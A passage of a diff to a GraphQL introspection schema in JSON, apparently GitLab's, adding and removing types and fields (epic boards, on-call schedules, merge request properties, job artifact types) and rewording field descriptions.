"kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "SCALAR", "name": "Float", "description": "Represents signed double-precision fractional values as specified by [IEEE 754](https://en.wikipedia.org/wiki/IEEE_floating_point).", @@ -23369,7 +25352,7 @@ }, { "name": "snippetRepositoryRegistries", - "description": "Find snippet repository registries on this Geo node. Available only when feature flag `geo_snippet_repository_replication` is enabled", + "description": "Find snippet repository registries on this Geo node", "args": [ { "name": "ids", @@ -23825,7 +25808,7 @@ }, { "name": "codeCoverageActivities", - "description": "Represents the code coverage activity for this group. Available only when feature flag `group_coverage_data_report_graph` is enabled", + "description": "Represents the code coverage activity for this group", "args": [ { "name": "startDate", @@ -23891,8 +25874,61 @@ "deprecationReason": null }, { + "name": "complianceFrameworks", + "description": "Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ComplianceFrameworkConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "containerRepositories", - "description": "Container repositories of the project", + "description": "Container repositories of the group", "args": [ { "name": "name", @@ -23954,6 +25990,24 @@ "deprecationReason": null }, { + "name": "containerRepositoriesCount", + "description": "Number of container repositories in the group", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "containsLockedProjects", "description": "Includes at least one project where the repository size exceeds the limit", "args": [ @@ -23973,7 +26027,7 @@ }, { "name": "customEmoji", - "description": "Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled", + "description": "Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled.", "args": [ { "name": "after", @@ -24072,7 +26126,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -24082,7 +26136,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -24198,7 +26252,7 @@ }, { "name": "iidStartsWith", - "description": "Filter epics by iid for autocomplete", + "description": "Filter epics by IID for autocomplete", "type": { "kind": "SCALAR", "name": "String", @@ -24226,12 +26280,92 @@ "deprecationReason": null }, { + "name": "epicBoard", + "description": "Find a single epic board", + "args": [ + { + "name": "id", + "description": "Find an epic board by ID", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "BoardsEpicBoardID", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoard", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "epicBoards", + "description": "Find epic boards", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoardConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "epics", "description": "Find epics", "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -24241,7 +26375,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -24357,7 +26491,7 @@ }, { "name": "iidStartsWith", - "description": "Filter epics by iid for autocomplete", + "description": "Filter epics by IID for autocomplete", "type": { "kind": "SCALAR", "name": "String", @@ -24489,6 +26623,24 @@ "defaultValue": null }, { + "name": "relations", + "description": "Filter members by the given member relations", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "GroupMemberRelation", + "ofType": null + } + } + }, + "defaultValue": "[DIRECT, INHERITED]" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -24892,7 +27044,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -24902,7 +27054,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -24922,7 +27074,7 @@ }, { "name": "state", - "description": "Filter iterations by state", + "description": "Filter iterations by state.", "type": { "kind": "ENUM", "name": "IterationState", @@ -24932,7 +27084,7 @@ }, { "name": "title", - "description": "Fuzzy search by title", + "description": "Fuzzy search by title.", "type": { "kind": "SCALAR", "name": "String", @@ -24942,7 +27094,7 @@ }, { "name": "id", - "description": "The ID of the Iteration to look up", + "description": "Global ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -24952,7 +27104,7 @@ }, { "name": "iid", - "description": "The internal ID of the Iteration to look up", + "description": "Internal ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -24962,7 +27114,7 @@ }, { "name": "includeAncestors", - "description": "Whether to include ancestor iterations. Defaults to true", + "description": "Whether to include ancestor iterations. Defaults to true.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -25348,7 +27500,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -25358,7 +27510,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -26211,7 +28363,7 @@ }, { "name": "vulnerabilitiesCountByDayAndSeverity", - "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`", + "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", "args": [ { "name": "startDate", @@ -26288,7 +28440,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3" + "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3." }, { "name": "vulnerabilityGrades", @@ -26508,118 +28660,6 @@ "possibleTypes": null }, { - "kind": "OBJECT", - "name": "GroupConnection", - "description": "The connection type for Group.", - "fields": [ - { - "name": "edges", - "description": "A list of edges.", - "args": [ - - ], - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "GroupEdge", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "nodes", - "description": "A list of nodes.", - "args": [ - - ], - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "Group", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "pageInfo", - "description": "Information to aid in pagination.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "PageInfo", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - } - ], - "inputFields": null, - "interfaces": [ - - ], - "enumValues": null, - "possibleTypes": null - }, - { - "kind": "OBJECT", - "name": "GroupEdge", - "description": "An edge in a connection.", - "fields": [ - { - "name": "cursor", - "description": "A cursor for use in pagination.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "node", - "description": "The item at the end of the edge.", - "args": [ - - ], - "type": { - "kind": "OBJECT", - "name": "Group", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - } - ], - "inputFields": null, - "interfaces": [ - - ], - "enumValues": null, - "possibleTypes": null - }, - { "kind": "SCALAR", "name": "GroupID", "description": "Identifier of Group", @@ -26897,6 +28937,35 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "GroupMemberRelation", + "description": "Group member relation", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "DIRECT", + "description": "Direct members", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "INHERITED", + "description": "Inherited members", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DESCENDANTS", + "description": "Descendants members", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "GroupPermissions", "description": null, @@ -27162,7 +29231,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the integration to remove", + "description": "The ID of the integration to remove", "type": { "kind": "NON_NULL", "name": null, @@ -27264,7 +29333,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the integration to mutate", + "description": "The ID of the integration to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -27366,7 +29435,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the integration to mutate", + "description": "The ID of the integration to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -27502,6 +29571,199 @@ }, { "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "description": "Describes an incident management on-call schedule", + "fields": [ + { + "name": "description", + "description": "Description of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "iid", + "description": "Internal ID of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "timezone", + "description": "Time zone of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleConnection", + "description": "The connection type for IncidentManagementOncallSchedule.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "InstanceSecurityDashboard", "description": null, "fields": [ @@ -28105,7 +30367,7 @@ }, { "name": "blocked", - "description": "Indicates the issue is blocked", + "description": "Indicates the issue is blocked.", "args": [ ], @@ -28123,7 +30385,7 @@ }, { "name": "blockedByCount", - "description": "Count of issues blocking this issue", + "description": "Count of issues blocking this issue.", "args": [ ], @@ -28421,7 +30683,7 @@ }, { "name": "epic", - "description": "Epic to which this issue belongs", + "description": "Epic to which this issue belongs.", "args": [ ], @@ -28435,7 +30697,7 @@ }, { "name": "healthStatus", - "description": "Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.", + "description": "Current health status.", "args": [ ], @@ -28513,7 +30775,7 @@ }, { "name": "iteration", - "description": "Iteration of the issue", + "description": "Iteration of the issue.", "args": [ ], @@ -28579,6 +30841,28 @@ "deprecationReason": null }, { + "name": "metricImages", + "description": "Metric images associated to the issue.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "MetricImage", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "milestone", "description": "Milestone of the issue", "args": [ @@ -28819,7 +31103,7 @@ }, { "name": "statusPagePublishedIncident", - "description": "Indicates whether an issue is published to the status page", + "description": "Indicates whether an issue is published to the status page.", "args": [ ], @@ -29091,7 +31375,7 @@ }, { "name": "weight", - "description": "Weight of the issue", + "description": "Weight of the issue.", "args": [ ], @@ -30937,25 +33221,25 @@ "name": "updated_desc", "description": "Updated at descending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5." }, { "name": "updated_asc", "description": "Updated at ascending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5." }, { "name": "created_desc", "description": "Created at descending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5." }, { "name": "created_asc", "description": "Created at ascending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5." }, { "name": "UPDATED_DESC", @@ -31669,6 +33953,12 @@ "description": "An iteration is assigned", "isDeprecated": false, "deprecationReason": null + }, + { + "name": "CURRENT", + "description": "Current iteration", + "isDeprecated": false, + "deprecationReason": null } ], "possibleTypes": null @@ -32582,7 +34872,7 @@ "inputFields": [ { "name": "jiraAccountId", - "description": "Jira account id of the user", + "description": "Jira account ID of the user", "type": { "kind": "NON_NULL", "name": null, @@ -32610,6 +34900,179 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "JobArtifactFileType", + "description": null, + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "ARCHIVE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "METADATA", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "TRACE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "JUNIT", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "METRICS", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "METRICS_REFEREE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "NETWORK_REFEREE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DOTENV", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "COBERTURA", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CLUSTER_APPLICATIONS", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LSIF", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "SAST", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "SECRET_DETECTION", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DEPENDENCY_SCANNING", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CONTAINER_SCANNING", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "DAST", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LICENSE_MANAGEMENT", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LICENSE_SCANNING", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "ACCESSIBILITY", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CODEQUALITY", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "PERFORMANCE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "BROWSER_PERFORMANCE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "LOAD_PERFORMANCE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "TERRAFORM", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "REQUIREMENTS", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "COVERAGE_FUZZING", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "API_FUZZING", + "description": null, + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "Label", "description": null, @@ -33051,7 +35514,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the snippet to update", + "description": "The global ID of the snippet to update", "type": { "kind": "NON_NULL", "name": null, @@ -33660,6 +36123,28 @@ "deprecationReason": null }, { + "name": "availableAutoMergeStrategies", + "description": "Array of available auto merge strategies", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "commitCount", "description": "Number of commits in the merge request", "args": [ @@ -33674,6 +36159,59 @@ "deprecationReason": null }, { + "name": "commitsWithoutMergeCommits", + "description": "Merge request commits excluding merge commits", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CommitConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "conflicts", "description": "Indicates if the merge request has conflicts", "args": [ @@ -33791,6 +36329,20 @@ "deprecationReason": null }, { + "name": "defaultMergeCommitMessageWithDescription", + "description": "Default merge commit message of the merge request with description", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "description", "description": "Description of the merge request (Markdown rendered as HTML for caching)", "args": [ @@ -33999,6 +36551,24 @@ "deprecationReason": null }, { + "name": "hasCi", + "description": "Indicates if the merge request has CI", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "headPipeline", "description": "The pipeline running on the branch HEAD of the merge request", "args": [ @@ -34176,6 +36746,20 @@ "deprecationReason": null }, { + "name": "mergeTrainsCount", + "description": "", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "mergeWhenPipelineSucceeds", "description": "Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS)", "args": [ @@ -34190,6 +36774,24 @@ "deprecationReason": null }, { + "name": "mergeable", + "description": "Indicates if the merge request is mergeable", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "mergeableDiscussionsState", "description": "Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged", "args": [ @@ -34343,7 +36945,7 @@ }, { "name": "pipelines", - "description": "Pipelines for the merge request", + "description": "Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned.", "args": [ { "name": "status", @@ -34520,6 +37122,20 @@ "deprecationReason": null }, { + "name": "securityAutoFix", + "description": "Indicates if the merge request is created by @GitLab-Security-Bot.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "shouldBeRebased", "description": "Indicates if the merge request will be rebased", "args": [ @@ -34588,6 +37204,24 @@ "deprecationReason": null }, { + "name": "sourceBranchProtected", + "description": "Indicates if the source branch is protected", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "sourceProject", "description": "Source project of the merge request", "args": [ @@ -34616,6 +37250,24 @@ "deprecationReason": null }, { + "name": "squashOnMerge", + "description": "Indicates if squash on merge is enabled", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "state", "description": "State of the merge request", "args": [ @@ -35016,6 +37668,20 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "totalTimeToMerge", + "description": "Total sum of time to merge, in seconds, for the collection of merge requests", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Float", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -35694,7 +38360,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -35842,7 +38508,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -35990,7 +38656,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -36120,7 +38786,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -36246,7 +38912,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -36376,7 +39042,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -36496,25 +39162,25 @@ "name": "updated_desc", "description": "Updated at descending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5." }, { "name": "updated_asc", "description": "Updated at ascending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5." }, { "name": "created_desc", "description": "Created at descending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5." }, { "name": "created_asc", "description": "Created at ascending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5." }, { "name": "UPDATED_DESC", @@ -36654,7 +39320,7 @@ }, { "name": "iid", - "description": "The iid of the merge request to mutate", + "description": "The IID of the merge request to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -36829,6 +39495,101 @@ }, { "kind": "OBJECT", + "name": "MetricImage", + "description": "Represents a metric image upload", + "fields": [ + { + "name": "fileName", + "description": "File name of the metric image", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "filePath", + "description": "File path of the metric image", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the metric upload", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "iid", + "description": "Internal ID of the metric upload", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "url", + "description": "URL of the metric source", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "MetricsDashboard", "description": null, "fields": [ @@ -37650,7 +40411,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use awardEmojiAdd. Deprecated in 13.2" + "deprecationReason": "Use awardEmojiAdd. Deprecated in 13.2." }, { "name": "addProjectToSecurityDashboard", @@ -38166,8 +40927,35 @@ "deprecationReason": null }, { + "name": "createComplianceFramework", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "CreateComplianceFrameworkInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CreateComplianceFrameworkPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createCustomEmoji", - "description": ". Available only when feature flag `custom_emoji` is enabled", + "description": " Available only when feature flag `custom_emoji` is enabled.", "args": [ { "name": "input", @@ -38193,6 +40981,33 @@ "deprecationReason": null }, { + "name": "createDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "CreateDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CreateDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createDiffNote", "description": null, "args": [ @@ -38706,6 +41521,33 @@ "deprecationReason": null }, { + "name": "deleteDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": 